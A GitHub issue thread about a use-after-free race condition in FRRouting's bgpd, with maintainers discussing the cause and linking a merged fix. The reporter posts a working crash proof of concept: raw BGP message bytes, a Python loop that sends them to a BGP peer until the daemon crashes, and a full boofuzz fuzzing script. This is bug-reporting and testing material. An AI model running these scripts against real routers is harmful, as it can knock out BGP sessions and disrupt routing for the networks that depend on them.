bgpd: A use-after-free bug due to race conditions in 2 threads. #11698

spwpun · 2022-07-28T04:43:01Z

Describe the bug

Did you check if this is a duplicate issue?
Did you test it on the latest FRRouting/frr master branch?

To Reproduce

git clone the frr git version with commit: a9b4458
Compile it with -fsanitize=address flags.
Run bgpd with a simple bgpd.conf as follow: /path/to/bgpd -f /path/to/bgpd.conf

! -*- bgp -*-
!
! BGPd sample configuratin file
!
!

hostname bgpd-S1
password en
enable password en

interface lo
ip address 127.0.0.1/32

router bgp 1
 bgp router-id 172.17.0.3
 address-family ipv4 unicast
   network 172.17.0.0/24
 exit-address-family
 no bgp ebgp-requires-policy
 no bgp network import-check
 neighbor 172.17.0.1 remote-as 2
 neighbor 172.17.0.1 ebgp-multihop
 neighbor 172.17.0.1 next-hop-self
 neighbor 172.17.0.1 timers 5 5
 neighbor 172.17.0.1 extended-optional-parameters


log file /tmp/bgpd.log

!debug bgp as4
!debug bgp events
!debug bgp filters
!debug bgp fsm
debug bgp keepalives
debug bgp updates
debug bgp neighbor-events

!
log stdout

Write a loop to sequencely send the packets below until it crash:

bgp_open = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00#\x01\x04\x00\x02\x00\x05\xac\x11\x00\x01\xff\xff\x00\x03\x00\x01\x00'
bgp_keepalive = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04'
bgp_notification = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x04xv'

Because of the race condition, this might not be always cause the bgpd crash.
Expected behavior

The bgpd daemon program won't crash.
Screenshots

The ASAN outputs:

Versions

OS Version: Ubuntu 20.04

Kernel: Linux 1738de574178 5.15.0-41-generic #44~20.04.1-Ubuntu

FRR Version: git version with commit: a9b4458.

Additional context

The text was updated successfully, but these errors were encountered:

ton31337 · 2022-07-28T05:48:43Z

Is this the exact configuration snippet that crashes? extended-optional-parameters MUST exist or not?

spwpun · 2022-07-28T06:05:41Z

Is this the exact configuration snippet that crashes? extended-optional-parameters MUST exist or not?

extended-optional-parameters configuration is not required.

ton31337 · 2022-07-28T07:38:52Z

@spwpun can you provide a script or something to easily run and replicate the crash? I have a potential fix, but I want to verify.

spwpun · 2022-07-28T07:46:52Z

@spwpun can you provide a script or something to easily run and replicate the crash? I have a potential fix, but I want to verify.

Sure，but my script may not be 100% successful. The crash was encountered in the process of fuzzing it with boofuzz. The boofuzz script may be more complicated.

import socket
from time import sleep

bgp_open = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00#\x01\x04\x00\x02\x00\x05\xac\x11\x00\x01\xff\xff\x00\x03\x00\x01\x00'
bgp_keepalive = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04'
bgp_notification = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x04xv'

while True:
    try:
        print("[+] Creating socket...")
        s = socket.socket(type=socket.SOCK_STREAM)
        print("[+] Connecting to server...")
        s.connect(('172.17.0.3', 179))
        s.send(bgp_open)
        sleep(0.0009999999)
        s.send(bgp_keepalive)
        s.send(bgp_notification)
    except KeyboardInterrupt:
        s.close()
        break
    except:
        s.close()

ton31337 · 2022-07-28T08:17:20Z

Do you have a script for boofuzz?

spwpun · 2022-07-28T08:29:21Z

Do you have a script for boofuzz?
yeah， use it with boofuzz latest version.

from boofuzz import constants
from boofuzz import *
from boofuzz import helpers

# bgp open
s_initialize("bgp_open")
if s_block_start("BGP"):
    if s_block_start("Header"):
        s_bytes(value=b"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF", padding=b"\xFF", size=16, name="Marker", fuzzable=False)
        # The length should be calculated automatically: 
        # len is the open message length, 19 is the length of the header
        s_size(block_name="Open", length=2, math=lambda x: x + 19, name="Length", endian=BIG_ENDIAN, fuzzable=False) # keep right length
        # s_word(value=34, fuzz_values=[0, 1, 2, 3, 4, 5, 16, 8, 20, 24, 32, 33], endian=BIG_ENDIAN, name="Length", fuzzable=True) # original field
        # Type is always 1 for open messages
        s_byte(value=0x01, endian=BIG_ENDIAN, name="Type", fuzzable=False)
    s_block_end()
    
    if s_block_start("Open"):
        s_byte(value=0x04, endian=BIG_ENDIAN, name="Version", fuzzable=False)
        s_word(value=2, endian=BIG_ENDIAN, name="My Autonomous System", fuzzable=False)
        s_word(value=5, endian=BIG_ENDIAN, name="Hold Time", fuzzable=False)
        # BGP Identifier is IP address
        s_dword(value=helpers.ip_str_to_bytes("172.17.0.1"), endian=BIG_ENDIAN, name="BGP Identifier", fuzzable=False)
        s_byte(value=b"\xff", endian=">", name="Non-Ext OP Len", fuzzable=False)
        # s_byte(value=0x00, endian=BIG_ENDIAN, name="Optional Parameter Length", fuzzable=True) # original field
        # s_string(value="", name="Optiname Parameters", size=-1, padding=b'\x00', fuzzable=True)
        s_byte(value=b'\xff', endian=">", name = "Non-Ext OP Type", fuzzable=False)
        s_size(block_name="Optional Parameters", length=2, name="Extended Opt. Parm Length", endian=BIG_ENDIAN, fuzzable=False)
        # s_word(value=4096, endian=">", name = "Extended Opt. Parm Length", fuzzable = True) # original field 
        if s_block_start("Optional Parameters"):
            # Optional Parameters [0]:
            if s_block_start("Reserved"):
                s_byte(value=0x00, endian=BIG_ENDIAN, name="Parameter Type", fuzzable=False)
                s_size(block_name="Reserved Parameter Value", length=1, name="Parameter Length", endian=BIG_ENDIAN, fuzzable=False)
                # s_byte(value=0x00, endian=BIG_ENDIAN, name="Parameter Length", fuzzable=True) # original field
                s_string(value="\x00", name="Reserved Parameter Value", size=-1, padding=b'\x00', fuzzable=False, max_len=1500)
            s_block_end()
        s_block_end()
    s_block_end()
s_block_end()

# bgp keepalive
s_initialize("bgp_keepalive")
if s_block_start("BGP"):
    if s_block_start("Header"):
        s_bytes(value=b"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF", padding=b"\xFF", size=16, name="Marker", fuzzable=False)
        # The length should be calculated automatically: 
        # len is the open message length, 19 is the length of the header
        s_size(block_name="Keepalive", length=2, math=lambda x: x + 19, name="Length", endian=BIG_ENDIAN, fuzzable=False)
        # s_word(value=19, fuzz_values=[0, 1, 2, 3, 4, 5, 16, 8, 20, 24, 32, 33], endian=BIG_ENDIAN, name="Length", fuzzable=True) # original field
        # Type is always 4 for keepalive messages
        s_byte(value=0x04, endian=BIG_ENDIAN, name="Type", fuzzable=False)
    s_block_end()

    # A KEEPALIVE message consists of only the message header and has a length of 19 octets.
    if s_block_start("Keepalive"):
        pass
    s_block_end()
s_block_end()

# bgp notification
s_initialize("bgp_notification")
if s_block_start("BGP"):
    if s_block_start("Header"):
        s_bytes(value=b"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF", padding=b"\xFF", size=16, name="Marker", fuzzable=False)
        # The length should be calculated automatically: 
        # len is the open message length, 19 is the length of the header
        s_size(block_name="Notification", length=2, math=lambda x: x + 19, name="Length", endian=BIG_ENDIAN, fuzzable=False)
        # s_word(value=19, fuzz_values=[0, 1, 2, 3, 4, 5, 16, 8, 20, 24, 32, 33], endian=BIG_ENDIAN, name="Length", fuzzable=True) # original field
        # Type is always 4 for keepalive messages
        s_byte(value=0x04, endian=BIG_ENDIAN, name="Type", fuzzable=False)
    s_block_end()

    if s_block_start("Notification"):
        s_byte(value=0x00, endian=BIG_ENDIAN, name="Error Code", fuzzable=True)
        s_byte(value=0x00, endian=BIG_ENDIAN, name="Error Subcode", fuzzable=True)
        s_string(value="", name="Error Message", size=-1, padding=b'\x00', fuzzable=True)
    s_block_end()
s_block_end()



TARGET_IP = "172.17.0.3"
TARGET_PORT = 179

fuzz_sess = Session(
    target=Target(
        # TCPSocketConnection example
        connection=TCPSocketConnection(
            host=TARGET_IP,
            port=TARGET_PORT,
            send_timeout=5,
            recv_timeout=5,
            server=False,
        ),
    ),
    # other extra settings
    ignore_connection_reset=True,
    receive_data_after_each_request=True,
    receive_data_after_fuzz=True, 
)

fuzz_sess.connect(s_get("bgp_open"))
fuzz_sess.connect(s_get("bgp_open"),s_get("bgp_keepalive"))
fuzz_sess.connect(s_get("bgp_keepalive"),s_get("bgp_notification"))
fuzz_sess.fuzz()

ton31337 · 2022-07-28T08:39:05Z

Thanks.

spwpun · 2022-07-28T08:44:19Z

Thanks.

By the way, I just tested it again using this boofuzz script and bgpd crashes at about 4 minutes. In my opinion there is a 90% chance of success.

ton31337 · 2022-07-28T09:15:28Z

Can't replicate quickly in 30 minutes. Running with:

# timeout -s 9 1800 python3 b.py

Trying more...

spwpun · 2022-07-28T10:34:51Z

Can't replicate quickly in 30 minutes. Running with:
# timeout -s 9 1800 python3 b.py
Trying more...

Have you added '-fsanitize=address' cflags for frr when compiling？I tested it again with your command, crashed in about 10 minutes

ton31337 · 2022-07-28T10:37:48Z

Yep, I compiled with --enable-address-sanitizer as usual.

spwpun · 2022-07-28T11:00:34Z

Yep, I compiled with --enable-address-sanitizer as usual.

It's so strange, maybe out of my knowledge. Try more time or other platform?

mjstapp · 2022-07-28T13:42:31Z

just read through this, and it does look like this may be real (imo).
the io pthread is careful to hold the io_mutex while it tests and reads from peer->curr, but the main pthread in bgp_process_packet() only holds the mutex long enough to set the pointer, not while using it (or freeing it):

		frr_with_mutex(&peer->io_mtx) {
			peer->curr = stream_fifo_pop(peer->ibuf);
		}

spwpun · 2022-07-28T14:23:20Z

Yep, I compiled with --enable-address-sanitizer as usual.

Maybe you could use gdb to debug it with the first script, add breakpoint at bgp_packet.c:2886 and bgp_packet.c:922. ：）

spwpun · 2022-07-30T03:55:57Z

just read through this, and it does look like this may be real (imo). the io pthread is careful to hold the io_mutex while it tests and reads from peer->curr, but the main pthread in bgp_process_packet() only holds the mutex long enough to set the pointer, not while using it (or freeing it):
		frr_with_mutex(&peer->io_mtx) {
			peer->curr = stream_fifo_pop(peer->ibuf);
		}

Thanks for reply, I also think it's real,

spwpun · 2022-07-30T03:58:49Z

@spwpun can you provide a script or something to easily run and replicate the crash? I have a potential fix, but I want to verify.

@ton31337 Hi，thanks for your patiently reply，now have you checked this issue or fixed it? If any question, feel free to ask, I'll try my best to answer.

yusky2003 · 2023-02-15T08:08:15Z

@spwpun 这个会导致信息泄露吗？有具体的POC吗？

spwpun added the triage Needs further investigation label Jul 28, 2022

ton31337 added the bgp label Jul 28, 2022

ton31337 self-assigned this Jul 28, 2022

mjstapp mentioned this issue Sep 9, 2022

bgpd: avoid notify race between io and main pthreads #11926

Merged

ton31337 closed this as completed in #11926 Sep 12, 2022

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

bgpd: A use-after-free bug due to race conditions in 2 threads. #11698

bgpd: A use-after-free bug due to race conditions in 2 threads. #11698

spwpun commented Jul 28, 2022

ton31337 commented Jul 28, 2022

spwpun commented Jul 28, 2022

ton31337 commented Jul 28, 2022

spwpun commented Jul 28, 2022

ton31337 commented Jul 28, 2022

spwpun commented Jul 28, 2022

ton31337 commented Jul 28, 2022

spwpun commented Jul 28, 2022

ton31337 commented Jul 28, 2022

spwpun commented Jul 28, 2022

ton31337 commented Jul 28, 2022

spwpun commented Jul 28, 2022

mjstapp commented Jul 28, 2022

spwpun commented Jul 28, 2022

spwpun commented Jul 30, 2022

spwpun commented Jul 30, 2022 •

edited

Loading

yusky2003 commented Feb 15, 2023

bgpd: A use-after-free bug due to race conditions in 2 threads. #11698

bgpd: A use-after-free bug due to race conditions in 2 threads. #11698

Comments

spwpun commented Jul 28, 2022

ton31337 commented Jul 28, 2022

spwpun commented Jul 28, 2022

ton31337 commented Jul 28, 2022

spwpun commented Jul 28, 2022

ton31337 commented Jul 28, 2022

spwpun commented Jul 28, 2022

ton31337 commented Jul 28, 2022

spwpun commented Jul 28, 2022

ton31337 commented Jul 28, 2022

spwpun commented Jul 28, 2022

ton31337 commented Jul 28, 2022

spwpun commented Jul 28, 2022

mjstapp commented Jul 28, 2022

spwpun commented Jul 28, 2022

spwpun commented Jul 30, 2022

spwpun commented Jul 30, 2022 • edited Loading

yusky2003 commented Feb 15, 2023

spwpun commented Jul 30, 2022 •

edited

Loading